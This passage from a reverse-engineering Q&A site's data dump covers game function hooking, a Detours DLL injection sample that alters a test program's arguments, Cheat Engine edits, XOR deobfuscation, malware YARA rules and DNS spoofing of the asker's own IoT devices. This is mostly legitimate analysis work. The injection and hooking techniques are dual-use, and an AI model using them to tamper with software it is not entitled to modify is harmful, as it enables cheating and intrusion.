AX,186&#xA;004798D7      7F 14         JG SHORT 004798ED ]--------------- TO HERE&#xA;004798D9      83F9 09       CMP ECX,9&#xA;004798DC      B8 09000000   MOV EAX,9&#xA;004798E1      7F 02         JG SHORT 004798E5&#xA;004798E3      8BC1          MOV EAX,ECX&#xA;004798E5      03C0          ADD EAX,EAX&#xA;004798E7      66:0146 12    ADD WORD PTR DS:[ESI+12],AX&#xA;004798EB      EB 13         JMP SHORT 00479900&#xA;004798ED      83F9 09       CMP ECX,9&#xA;004798F0  |.  B8 09000000   MOV EAX,9&#xA;004798F5  |.  7F 02         JG SHORT 004798F9&#xA;004798F7  |.  8BC1          MOV EAX,ECX&#xA;004798F9  |&amp;gt;  8D1440        LEA EDX,[EAX*2+EAX]&#xA;004798FC  |.  66:0156 12    ADD WORD PTR DS:[ESI+12],DX&#xA;00479900  |&amp;gt;  8D51 F7       LEA EDX,[ECX-9]&#xA;00479903  |.  33C0          XOR EAX,EAX&#xA;00479905  |.  85D2          TEST EDX,EDX&#xA;00479907  |.  7E 1D         JLE SHORT 00479926&#xA;00479909  |.  BB 04000000   MOV EBX,4&#xA;0047990E  |.  BF 05000000   MOV EDI,5&#xA;00479913  |&amp;gt;  85C0          /TEST EAX,EAX&#xA;00479915  |.  75 06         |JNE SHORT 0047991D&#xA;00479917  |.  66:015E 12    |ADD WORD PTR DS:[ESI+12],BX&#xA;0047991B  |.  EB 04         |JMP SHORT 00479921&#xA;0047991D  |&amp;gt;  66:017E 12    |ADD WORD PTR DS:[ESI+12],DI&#xA;00479921  |&amp;gt;  40            |INC EAX&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the code from my DLL, the function right now behaves as the game would do.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;BOOL Unk11(short int a1)&#xA;{&#xA;    if((a1 &amp;gt;= 387 &amp;amp;&amp;amp; a1 &amp;lt;= 390))&#xA;        return TRUE;&#xA;    return FALSE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But, if I add a second condition to the IF:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;BOOL Unk11(short int a1)&#xA;{&#xA;    if((a1 &amp;gt;= 387 &amp;amp;&amp;amp; a1 &amp;lt;= 390) || (a1 &amp;gt;= 404 &amp;amp;&amp;amp; a1 &amp;lt;= 415))&#xA;        return TRUE;&#xA;    return FALSE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The game becomes unstable, even with a simple debug function that writes to a log file, the game becomes unstable, example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;BOOL Unk11(short int a1)&#xA;{&#xA;    Debug(&amp;quot;Hello&amp;quot;);&#xA;    if((a1 &amp;gt;= 387 &amp;amp;&amp;amp; a1 &amp;lt;= 390))&#xA;        return TRUE;&#xA;    return FALSE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With Ollydbg I executed the game, and checked the ASM part of my function, and this is what I've got:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Hex dump          Command                                  Comments&#xA;7C721B30    55              PUSH EBP&#xA;7C721B31    8BEC            MOV EBP,ESP&#xA;7C721B33    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]&#xA;7C721B36    05 7DFEFFFF     ADD EAX,-183&#xA;7C721B3B    66:B9 0300      MOV CX,3&#xA;7C721B3F    66:3BC8         CMP CX,AX&#xA;7C721B42    1BC0            SBB EAX,EAX&#xA;7C721B44    40              INC EAX&#xA;7C721B45    5D              POP EBP&#xA;7C721B46    C3              RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Why the ADD EAX is -183? Shouldn't it be 183? Where is the '&amp;lt;= 390' in this code?&#xA;I tried with different calling conventions, but I get the same behaviour - game unstable.&lt;/p&gt;&#xA;&lt;p&gt;Why is the game unstable even with a minimum game? The game is old, 2003 or so - could it be a compatibility issue with my DLL? I am using Visual Studio 2010.&lt;/p&gt;&#xA;&lt;p&gt;I hope this is enough info, if not, say so!&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="33787" LastActivityDate="2020-07-19T10:32:40.860" Title="Intercepting game function with C and Assembler, game unstable with minimum changes" Tags="|c|assembly|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25465" PostTypeId="2" ParentId="25464" CreationDate="2020-07-10T07:09:14.723" Score="2" Body="&lt;p&gt;It's not add &lt;code&gt;-183&lt;/code&gt;. &lt;code&gt;0xFFFFFE7d&lt;/code&gt; is equal to &lt;code&gt;-387&lt;/code&gt;. The original conditions is this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;387 &amp;lt;= x &amp;lt;= 390&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;if we add &lt;code&gt;-387&lt;/code&gt; to all the sides we get&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0 &amp;lt;= x + (-387) &amp;lt;= 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and this is exactly what's checked in the code.&lt;/p&gt;&#xA;&lt;p&gt;As why the code is unstable? Well it would require a bit more detailed analysis (debugging?) but what I can see is this. Just after the code you are replacing, &lt;code&gt;ECX&lt;/code&gt; is used (see &lt;code&gt;004798D9 83F9 09 CMP ECX,9&lt;/code&gt;) and yet your function destroy the value of &lt;code&gt;ECX&lt;/code&gt; (see &lt;code&gt;7C721B3B 66:B9 0300 MOV CX,3&lt;/code&gt;). Try saving this value and see if it become more stable.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-07-10T07:09:14.723" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25466" PostTypeId="1" AcceptedAnswerId="25467" CreationDate="2020-07-10T11:17:21.030" Score="-1" ViewCount="1067" Body="&lt;p&gt;I want to write a script to extract the entropy of each sections of an EXE file. What is the best tool that I can use to do this?&#xA;I tried Ghidra but it doesn't have an entropy API which I can use.&lt;/p&gt;&#xA;" OwnerUserId="33506" LastActivityDate="2020-07-10T12:10:44.117" Title="Best way to find the entropy of an EXE file?" Tags="|disassembly|pe|entropy|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25467" PostTypeId="2" ParentId="25466" CreationDate="2020-07-10T12:10:44.117" Score="1" Body="&lt;p&gt;You can use &lt;code&gt;r2&lt;/code&gt; to get the data and &lt;code&gt;r2pipe&lt;/code&gt; to script it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;iS entropy&lt;/code&gt; produce the entropy values for each section. Adding &lt;code&gt;j&lt;/code&gt; will produce it in JSON format and scripting it with &lt;code&gt;r2pipe&lt;/code&gt; is easy.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import r2pipe&#xA;p = r2pipe.open('&amp;lt;path_to_exe&amp;gt;')&#xA;res = p.cmdj('iSj entropy')&#xA;print([(x['name'],x['entropy']) for x in res['sections']])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[('.text', '6.00602992'), ('.rdata', '3.94265366'), ('.data', '6.85876398'), ('.pdata', '3.46591559'), ('.rsrc', '4.70150326'), ('.reloc', '4.96848447')]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-07-10T12:10:44.117" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="25468" PostTypeId="2" ParentId="25461" CreationDate="2020-07-10T14:10:36.603" Score="1" Body="&lt;p&gt;You asked how you should begin; the first step is likely to determine what is in each APK and if it is relevant to your goals. Simply extract them all and poke around a bit.&lt;/p&gt;&#xA;&lt;p&gt;Like Robert's comment says, &lt;a href=&quot;https://developer.android.com/platform/technology/app-bundle&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android App Bundles&lt;/a&gt; are a common format, and serve to modularize the app by shipping only the components needed for a particular device. So in this case, it appears the 3 APKs likely contain the base application, native libraries for ARMv8, and corresponding assets/resources for a HDPI device.&lt;/p&gt;&#xA;&lt;p&gt;I think if you looked at each APK, you may quickly realize which pieces are or are not relevant to you, depending what you are particularly interested in.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastActivityDate="2020-07-10T14:10:36.603" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25470" PostTypeId="1" AcceptedAnswerId="25475" CreationDate="2020-07-10T18:23:36.307" Score="1" ViewCount="1736" Body="&lt;p&gt;There are a sequence of bytes that i need to find out where are used in dnspy&lt;/p&gt;&#xA;&lt;p&gt;i tried going to hex editor and found the bytes, but right clicking and saying go to code or structure or follow reference wont work&lt;/p&gt;&#xA;&lt;p&gt;how can i know where these bytes are used if there is no reference? is it possible to set breakpoint on location access just like IDA, or any easier way?&lt;/p&gt;&#xA;&lt;p&gt;The sequence of bytes are right before the IAT in the .text section, around 0x70 bytes after this string which seems to be in a lot of .net files :&lt;/p&gt;&#xA;&lt;p&gt;Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator&lt;/p&gt;&#xA;" OwnerUserId="28109" LastEditorUserId="28109" LastEditDate="2020-07-11T06:05:04.760" LastActivityDate="2020-07-14T08:07:19.543" Title="How to know where a sequences of bytes are used in a .NET application with Dnspy?" Tags="|windows|malware|.net|c#|dnspy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25472" PostTypeId="2" ParentId="25464" CreationDate="2020-07-10T22:27:17.820" Score="0" Body="&lt;p&gt;Okay, so after a few hours this is what I did - instead of a C style function, I made it with ASM; this is the result:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Naked (Unk11)&#xA;{&#xA;    _asm&#xA;    {&#xA;        PUSH ESI&#xA;        MOV ESI, DWORD PTR SS:[ESP+8]&#xA;&#xA;        CMP ESI, 0x183 //387&#xA;        JL False&#xA;        CMP ESI, 0x186 //390&#xA;        JLE True&#xA;False:&#xA;        MOV EAX, FALSE&#xA;        JMP Exit&#xA;True:   &#xA;        MOV EAX, TRUE&#xA;Exit:&#xA;        POP ESI&#xA;        RETN&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now this is working correctly, the only thing that I still can't figure it out, is why if I add the 'Debug();' function, the game starts to behave strange.&#xA;For example, my armor goes from 95 to 45 by just adding that function.&lt;/p&gt;&#xA;" OwnerUserId="33787" LastActivityDate="2020-07-10T22:27:17.820" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25473" PostTypeId="1" CreationDate="2020-07-11T04:52:21.207" Score="1" ViewCount="296" Body="&lt;p&gt;I've got a bunch of IoT devices that can only be controlled through the Internet, as all their traffic goes through their own &amp;quot;cloud&amp;quot; server. I want to reclaim full control and low latency on my AC unit.&lt;/p&gt;&#xA;&lt;p&gt;The device doesn't offer a way to configure a proxy.&lt;/p&gt;&#xA;&lt;p&gt;I am considering the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;install PiHole on my network (I want that for other reasons too)&lt;/li&gt;&#xA;&lt;li&gt;get PiHole to snitch what DNS queries the device is making&lt;/li&gt;&#xA;&lt;li&gt;configure PiHole to hijack the control server name and route http requests to a server of mine&lt;/li&gt;&#xA;&lt;li&gt;have this server log all the traffic an pass it through to the legit control server&lt;/li&gt;&#xA;&lt;li&gt;then reverse engineer this logged traffic and implement my own control server&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This is going to work only if the device is making http requests to a domain name (and not if it is making them directly to an ip adress). Https could be an issue too.&lt;/p&gt;&#xA;&lt;p&gt;Does any software exist already, with the kind of MITM features I am looking for: copy and dump the http traffic? Anything simpler than the above?&lt;/p&gt;&#xA;" OwnerUserId="33802" LastActivityDate="2020-12-15T18:02:50.263" Title="Spoofing DNS to intercept iot traffic" Tags="|networking|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25474" PostTypeId="1" AcceptedAnswerId="25476" CreationDate="2020-07-11T05:58:08.563" Score="0" ViewCount="557" Body="&lt;p&gt;I'm using IDA batch scripting to run a script on a dataset of malware&lt;/p&gt;&#xA;&lt;p&gt;the problem is i need to run the VB6 idc script after auto analysis is finished, and wait for it to finish and find all the functions, then run my own script (my script is in IDApython and VB6 script is a idc file)&lt;/p&gt;&#xA;&lt;p&gt;to manually run this VB6 script i go to file and choose script file ( there is no menu button or shortcut added)  and wait for it to finish and find all VB6 functions&lt;/p&gt;&#xA;&lt;p&gt;so what is the easiest way to achieve this? can i execute a idc script from my IDApython script and wait for it to finish?&lt;/p&gt;&#xA;" OwnerUserId="28109" LastActivityDate="2020-07-11T09:02:12.403" Title="How to run another IDA script using IDApython?" Tags="|ida|windows|idapython|script|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25475" PostTypeId="2" ParentId="25470" CreationDate="2020-07-11T06:01:21.057" Score="1" Body="&lt;p&gt;I figured it out:&lt;/p&gt;&#xA;&lt;p&gt;Right click and go to hex editor, then search the bytes you are looking for, then after finding it right click and select go to code reference.&lt;/p&gt;&#xA;" OwnerUserId="28109" LastEditorUserId="60" LastEditDate="2020-07-14T08:07:19.543" LastActivityDate="2020-07-14T08:07:19.543" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25476" PostTypeId="2" ParentId="25474" CreationDate="2020-07-11T09:02:12.403" Score="2" Body="&lt;p&gt;Found it in &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDAPython documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is a function &lt;code&gt;exec_idc_script&lt;/code&gt; &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_expr-module.html#exec_idc_script&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; in module &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ida_expr&lt;/a&gt;.I never used it myself but according to the spec it should work.&lt;/li&gt;&#xA;&lt;li&gt;In addition there is a &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1127.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;RunPythonStatement&lt;/code&gt;&lt;/a&gt; in IDC if you need to do it conversely.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2020-07-11T09:02:12.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25478" PostTypeId="2" ParentId="25459" CreationDate="2020-07-11T13:59:01.247" Score="1" Body="&lt;p&gt;It is indeed possible, and not that hard to do - providing the game doesn't have any anti-cheat nor integrity checks.&lt;/p&gt;&#xA;&lt;p&gt;The thing you are looking for is called &lt;strong&gt;function hooking&lt;/strong&gt;. If you don't want to mess with assembly there are few good libs that can do the most important and tedious part of work for you.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/microsoft/Detours&quot; rel=&quot;nofollow noreferrer&quot;&gt;Detours&lt;/a&gt; - developed by Microsoft&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/frida/frida&quot; rel=&quot;nofollow noreferrer&quot;&gt;Frida&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/stevemk14ebr/PolyHook_2_0&quot; rel=&quot;nofollow noreferrer&quot;&gt;PolyHook&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Take a look into examples, for example that one in PolyHook`s repository. &lt;a href=&quot;https://github.com/stevemk14ebr/PolyHook_2_0/blob/master/ExampleProject/ExampleProject/ExampleProject/ExampleProject.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; they hook (intercept) printf function, but there is no problem to intercept game function at &lt;code&gt;43AC70&lt;/code&gt; to call your function from &lt;code&gt;mylibrary.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you want to write your own detour you can take a look at my other reply on that site: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/23433/what-is-the-best-way-to-change-the-call-graph-of-a-pe-file-without-changing-its/25026#25026&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-07-11T13:59:01.247" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25479" PostTypeId="1" CreationDate="2020-07-12T13:22:11.697" Score="0" ViewCount="1614" Body="&lt;p&gt;I have code that looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;byte_100031BA4 = v41;&#xA;byte_100031BA5 ^= 0x3Eu;&#xA;byte_100031BA6 ^= 0x47u;&#xA;LOBYTE(a1) = -9;&#xA;byte_100031BA7 ^= 0xF7u;&#xA;byte_100031BA8 ^= 0xA9u;&#xA;byte_100031BA9 ^= 0xE8u;&#xA;byte_100031BAA ^= 0x5Eu;&#xA;byte_100031BAB ^= 0x7Fu;&#xA;byte_100031BAC ^= 0x33u;&#xA;LOBYTE(a2) = 116;&#xA;byte_100031BAD ^= 0x74u;&#xA;byte_100031BAE ^= 0x78u;&#xA;byte_100031BAF ^= 0xFAu;&#xA;xmmword_100031B80 = (__int128)_mm_xor_ps((__m128)xmmword_100031B80, (__m128)xmmword_10002E1C0);&#xA;byte_100031B90 ^= 0x8Bu;&#xA;byte_100031B92 ^= 0xD5u;&#xA;byte_100031B93 ^= 0x53u;&#xA;byte_100031B94 ^= 0x9Bu;&#xA;byte_100031B95 ^= 0x16u;&#xA;byte_100031B96 ^= 0x18u;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I want to use IDA Python to run on each line of code and if it starts with 'byte_' and has '^=' in it then do for me the or and show the 'decrypted value' in a comment.&lt;/p&gt;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="33807" LastEditorUserId="18014" LastEditDate="2020-07-13T07:03:18.670" LastActivityDate="2021-12-06T11:06:00.527" Title="Decode xor data in IDA" Tags="|ida|deobfuscation|xor|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25480" PostTypeId="1" CreationDate="2020-07-12T13:59:39.077" Score="0" ViewCount="507" Body="&lt;p&gt;I have found this complete and easy example to test the function hook:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Zer0Mem0ry/Detour&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Zer0Mem0ry/Detour&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;#include &amp;quot;detours.h&amp;quot;&#xA;#include &amp;quot;sigscan.h&amp;quot;&#xA;&#xA;// this is the function that the program&#xA;// will jump to when sum() is called in the original program (testprogram.exe)&#xA;&#xA;DWORD AddressOfSum = 0;&#xA;// template for the original function&#xA;typedef int(*sum)(int x, int y); &#xA;&#xA;int HookSum(int x, int y)&#xA;{&#xA;    // manipulate the arguments&#xA;    x += 500;&#xA;    y += 500;&#xA;&#xA;    // we manipulate the arguments here and then&#xA;    // redirect the program to the original function&#xA;&#xA;    std::cout &amp;lt;&amp;lt; &amp;quot;your program has been hacked! &amp;quot; &amp;lt;&amp;lt; std::endl;&#xA;    sum originalSum = (sum)AddressOfSum;&#xA;    return originalSum(x, y);&#xA;}&#xA;&#xA;BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)&#xA;{&#xA;    // store the address of sum() in testprogram.exe here.&#xA;&#xA;    if (dwReason == DLL_PROCESS_ATTACH)&#xA;    {&#xA;        // We will use signature scanning to find the function that we want to hook&#xA;        // we will find the function in IDA pro and create a signature from it:&#xA;&#xA;        SigScan Scanner;&#xA;&#xA;        // testprogram.exe is the name of the main module in our target process&#xA;        AddressOfSum = Scanner.FindPattern(&amp;quot;testprogram.exe&amp;quot;, &amp;quot;\x55\x8B\xEC\x8B\x45\x08\x03\x45\x0C&amp;quot;, &amp;quot;xxxxxxxxx&amp;quot;);&#xA;&#xA;        DetourTransactionBegin();&#xA;        DetourUpdateThread(GetCurrentThread());&#xA;&#xA;        // this will hook the function&#xA;        DetourAttach(&amp;amp;(LPVOID&amp;amp;)AddressOfSum, &amp;amp;HookSum);&#xA;&#xA;        DetourTransactionCommit();&#xA;    }&#xA;    else if (dwReason == DLL_PROCESS_DETACH)&#xA;    {&#xA;        // unhook&#xA;        DetourTransactionBegin();&#xA;        DetourUpdateThread(GetCurrentThread());&#xA;&#xA;        // this will hook the function&#xA;        DetourDetach(&amp;amp;(LPVOID&amp;amp;)AddressOfSum, &amp;amp;HookSum);&#xA;&#xA;        DetourTransactionCommit();&#xA;    }&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have tried to inject this DLL to the &amp;quot;testprogram.exe&amp;quot; (without change nothing) using cheat engine, extreme inject, etc.. with the some result &amp;quot;failed to inject&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;I need to change &amp;quot;xxxxxxxxx&amp;quot; before inject the DLL ?&lt;/p&gt;&#xA;&lt;p&gt;Can you help me please ?&lt;/p&gt;&#xA;&lt;p&gt;Best Regards&lt;/p&gt;&#xA;" OwnerUserId="33776" LastActivityDate="2020-07-12T13:59:39.077" Title="DLL injection (Failed to inject)" Tags="|c++|function-hooking|dll-injection|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25481" PostTypeId="1" CreationDate="2020-07-12T21:45:35.887" Score="1" ViewCount="813" Body="&lt;p&gt;First off, I need to clear out that I'm a total noob on this, and I have tried reading and understanding documentation about this assembly stuff on the internet, but almost all I found, was meant for advanced people who knew about this.&lt;/p&gt;&#xA;&lt;p&gt;So, what I have tried so far, is something like &amp;quot;movaps XMM6, 9999999&amp;quot; (from the original instruction &amp;quot;movaps XMM6,XMM1&amp;quot;), but it won't work when I try to create a Cheat Engine Table, it tells me&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error in line 12 (movaps XMM6, 9999999): This instruction can't be compiled.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I'm sorry if I'm not specific enough, I would appreciate someone to further explain me how registers like these work, and how to exchange values between those and maybe other variables?&#xA;&lt;em&gt;I did read the thread about sending a integer into an XMM using another register, &lt;strong&gt;but I didn't catch a thing out of that&lt;/strong&gt;, so I wrote this thread.&lt;/em&gt; I'm looking forward to learning about this...&lt;/p&gt;&#xA;" OwnerUserId="33810" LastActivityDate="2020-08-12T08:01:50.163" Title="How can I move an integer number into a XMM register with Cheat Engine?" Tags="|disassembly|register|cheat-engine|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25483" PostTypeId="2" ParentId="25481" CreationDate="2020-07-13T07:29:19.080" Score="2" Body="&lt;p&gt;By its definition, &lt;code&gt;movaps&lt;/code&gt; instruction can't get immediate value. It can only get another register or memory location. You can see it in its &lt;a href=&quot;https://c9x.me/x86/html/file_module_x86_id_180.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;MOVAPS xmm1, xmm2/m128    Move packed single-precision floating-point values from xmm2/m128 to xmm1.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;MOVAPS xmm2/m128, xmm1    Move packed single-precision floating-point values from xmm1 to xmm2/m128.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can see this &lt;a href=&quot;https://stackoverflow.com/questions/6654099/how-to-move-128-bit-immediates-to-xmm-registers&quot;&gt;similar question&lt;/a&gt; for different solutions to your problem.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-07-13T07:29:19.080" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25486" PostTypeId="1" CreationDate="2020-07-13T08:46:36.743" Score="2" ViewCount="866" Body="&lt;p&gt;I'm trying to hook libhoudini to debug an application instruction by instruction using frida but frida not supports it i need a example on how can this be achieved!&#xA;I'm using a x86 emulator to run arm JNI libs which is ofcource translated to x86 by libhoudini problem is that i can't see those instructions when i hook the app&#xA;look at &lt;a href=&quot;https://github.com/nevermoe/EHook&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33709" LastEditorUserId="33709" LastEditDate="2020-07-13T12:26:45.020" LastActivityDate="2020-10-18T11:03:15.317" Title="hooking libhoudini on x86 emulator" Tags="|x86|linux|android|frida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25487" PostTypeId="1" CreationDate="2020-07-13T11:09:32.597" Score="1" ViewCount="56" Body="&lt;p&gt;I need to write a yara rule for a autoit malware (the binary itself not the decompiled script)&lt;/p&gt;&#xA;&lt;p&gt;As far as i know the actual script is in the resource section in the RCData, but how can i find the bytes that represent the variable names?&lt;/p&gt;&#xA;&lt;p&gt;for example lets say there is a variable $MyObviousVariable in the script and i want to make a yara rule for it in the binary, where can i find this variable NAME in the binary? is it inside the RCData?&lt;/p&gt;&#xA;" OwnerUserId="28109" LastActivityDate="2020-07-13T11:09:32.597" Title="How are AutoIT variable names stored after compiling it to a executable?" Tags="|windows|malware|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25489" PostTypeId="2" ParentId="25479" CreationDate="2020-07-13T18:43:40.463" Score="1" Body="&lt;p&gt;the output you posted doesn't seem to be disassembly but PseudoCode&lt;br /&gt;&#xA;I am not sure if you want your pseudo Code Commented or Disassembly Commented&lt;br /&gt;&#xA;below is an approach to Comment the Disassembly using the built-in idc on Ida Free 7&lt;/p&gt;&#xA;&lt;p&gt;iirc you can run idc from python (ida free doesn't support either pseudo code or python so I cant be sure )&lt;/p&gt;&#xA;&lt;p&gt;the disassembly look like this prior to using the script&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.data:0000000140023898 byte_140023898  db 0&#xA;.data:0000000140023899 byte_140023899  db 0&#xA;.data:000000014002389A byte_14002389A  db 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;script is along these lines entered an executed using shift+f2 or file-&amp;gt;scriptCommand&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;auto addr,byteat,xorred;&#xA;addr = ask_addr(0,&amp;quot;enter an Address&amp;quot;);&#xA;Message(&amp;quot;you entered %x\n&amp;quot;,addr);&#xA;byteat = get_db_byte(addr);&#xA;Message(&amp;quot;byte at Address is %x\n&amp;quot;,byteat);&#xA;Message(&amp;quot;xorring byte with 0x3E\n&amp;quot;);&#xA;xorred = byteat ^ 0x3e;&#xA;Message(&amp;quot;result of xor = %x\n&amp;quot; , xorred);&#xA;Message(&amp;quot;Setting Comment\n&amp;quot;);&#xA;set_cmt(addr,sprintf(&amp;quot;xorred result is %x\n&amp;quot;,xorred),0); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;after execution these messages will be seen in the Output Window&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;you entered 140023898&#xA;byte at Address is 0&#xA;xorring byte with 0x3E&#xA;result of xor = 3e&#xA;Setting Comment&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the commented disassembly will look like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.data:0000000140023898 byte_140023898  db 0                    ; xorred result is 3e&#xA;.data:0000000140023898                                         ;&#xA;.data:0000000140023899 byte_140023899  db 0&#xA;.data:000000014002389A byte_14002389A  db 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-07-13T18:43:40.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25490" PostTypeId="1" CreationDate="2020-07-14T00:12:40.660" Score="0" ViewCount="740" Body="&lt;p&gt;I'm disassembling a working-as-expected compiled C program (MS/Windows x64, MinGW gcc 10.1.0). In the &lt;code&gt;main&lt;/code&gt; function, I have the following call which passes 6 arguments to the function &lt;code&gt;DotProduct&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;// void** m3 [rbp-0x50] = DotProduct(ptr, ptr2, 3, 2, 2, 3);&#xA;  401b9f:   48 8b 55 b8             mov    rdx,QWORD PTR [rbp-0x48] // arg2 = m2&#xA;  401ba3:   48 8b 45 c0             mov    rax,QWORD PTR [rbp-0x40] // arg1 = m1&#xA;  401ba7:   c7 44 24 28 03 00 00    mov    DWORD PTR [rsp+0x28],0x3 // arg6 = 3   (+40) &amp;lt;- Δ main rsp&#xA;  401bae:   00&#xA;  401baf:   c7 44 24 20 02 00 00    mov    DWORD PTR [rsp+0x20],0x2 // arg5 = 2   (+32)&#xA;  401bb6:   00&#xA;  401bb7:   41 b9 02 00 00 00       mov    r9d,0x2                  // arg4 = 2&#xA;  401bbd:   41 b8 03 00 00 00       mov    r8d,0x3                  // arg3 = 3&#xA;  401bc3:   48 89 c1                mov    rcx,rax                  // arg1 = m1&#xA;  